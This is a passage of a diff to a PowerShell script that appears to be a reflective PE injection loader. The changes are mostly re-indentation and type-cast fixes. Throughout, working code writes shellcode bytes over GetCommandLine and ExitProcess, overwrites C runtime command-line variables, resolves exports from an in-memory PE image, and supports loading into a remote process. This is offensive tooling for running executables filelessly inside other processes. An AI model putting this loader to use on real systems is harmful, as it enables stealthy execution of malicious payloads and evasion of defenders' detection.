ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) - [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") - [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") - - if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) - { - throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" - } - - #Prepare the shellcode - [Byte[]]$Shellcode1 = @() - if ($PtrSize -eq 8) - { - $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 - } - $Shellcode1 += 0xb8 - - [Byte[]]$Shellcode2 = @(0xc3) - $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length - - - #Make copy of GetCommandLineA and GetCommandLineW - $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null - $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null - $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) - $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) - - #Overwrite GetCommandLineA - [UInt32]$OldProtectFlag = 0 - $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - - $GetCommandLineAAddrTemp = $GetCommandLineAAddr - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp - $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) - $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp - - $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - - - #Overwrite GetCommandLineW - [UInt32]$OldProtectFlag = 0 - $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - - $GetCommandLineWAddrTemp = $GetCommandLineWAddr - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp - $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) - $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp - - $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - ################################################# - - - ################################################# - #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. - # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. - # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the - # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. - $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` - , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") - - foreach ($Dll in $DllList) - { - [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) - if ($DllHandle -ne [IntPtr]::Zero) - { - [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") - [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") - if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) - { - "Error, couldn't find _wcmdln or _acmdln" - } + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } - $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) - $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) - #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state - $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [IntPtr]) - $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [IntPtr]) - $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) - $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) - $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) - $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) - $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null - $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) - $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null - } - } - ################################################# - - - ################################################# - #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. - - $ReturnArray = @() - $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process - - #CorExitProcess (compiled in to visual studio c++) - [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") - if ($MscoreeHandle -eq [IntPtr]::Zero) - { - throw "mscoree handle null" - } - [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") - if ($CorExitProcessAddr -eq [IntPtr]::Zero) - { - Throw "CorExitProcess address not found" - } - $ExitFunctions += $CorExitProcessAddr - - #ExitProcess (what non-managed programs use) - [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") - if ($ExitProcessAddr -eq [IntPtr]::Zero) - { - Throw "ExitProcess address not found" - } - $ExitFunctions += $ExitProcessAddr - - [UInt32]$OldProtectFlag = 0 - foreach ($ProcExitFunctionAddr in $ExitFunctions) - { - $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr - #The following is the shellcode (Shellcode: ExitThread.asm): - #32bit shellcode - [Byte[]]$Shellcode1 = @(0xbb) - [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) - #64bit shellcode (Shellcode: ExitThread.asm) - if ($PtrSize -eq 8) - { - [Byte[]]$Shellcode1 = @(0x48, 0xbb) - [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) - } - [Byte[]]$Shellcode3 = @(0xff, 0xd3) - $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length - [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") - if ($ExitThreadAddr -eq [IntPtr]::Zero) - { - Throw "ExitThread address not found" - } - - $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Call to VirtualProtect failed" - } + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } - #Make copy of original ExitProcess bytes - $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null - $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) - #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then - # call ExitThread - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize - Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp - - $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - } - ################################################# - - Write-Output $ReturnArray - } + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } - #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) - # It copies Count bytes from Source to Destination. - Function Copy-ArrayOfMemAddresses - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Array[]] - $CopyInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - [UInt32]$OldProtectFlag = 0 - foreach ($Info in $CopyInfo) - { - $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Call to VirtualProtect failed" - } + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } - $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null - $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - } - } - - - ##################################### - ########## FUNCTIONS ########### - ##################################### - Function Get-MemoryProcAddress - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - [Parameter(Position = 1, Mandatory = $true)] - [String] - $FunctionName - ) - - $Win32Types = Get-Win32Types - $Win32Constants = Get-Win32Constants - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - - #Get the export table - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) - { - return [IntPtr]::Zero - } - $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) - $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, $Win32Types.IMAGE_EXPORT_DIRECTORY) - - for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) - { - #AddressOfNames is an array of pointers to strings of the names of the functions exported - $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt32]))) - $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [UInt32])) - $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) - - if ($Name -ceq $FunctionName) - { - #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions - # which contains the offset of the function in to the DLL - $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt16]))) - $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [UInt16]) - $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt32]))) - $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [UInt32]) - return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) - } - } - - return [IntPtr]::Zero - } - - - Function Invoke-MemoryLoadLibrary - { - Param( - [Parameter( Position = 0, Mandatory = $true )] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $false)] - [String] - $ExeArgs, - - [Parameter(Position = 2, Mandatory = $false)] - [IntPtr] - $RemoteProcHandle - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) - - #Get Win32 constants and functions - $Win32Constants = Get-Win32Constants - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - - $RemoteLoading = $false - if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) - { - $RemoteLoading = $true - } - - #Get basic PE information - Write-Verbose "Getting basic PE information from the file" - $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types - $OriginalImageBase = $PEInfo.OriginalImageBase - $NXCompatible = $true - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) - { - Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue - $NXCompatible = $false - } - - - #Verify that the PE and the current process are the same bits (32bit or 64bit) - $Process64Bit = $true - if ($RemoteLoading -eq $true) - { - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") - if ($Result -eq [IntPtr]::Zero) - { - Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" - } + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) 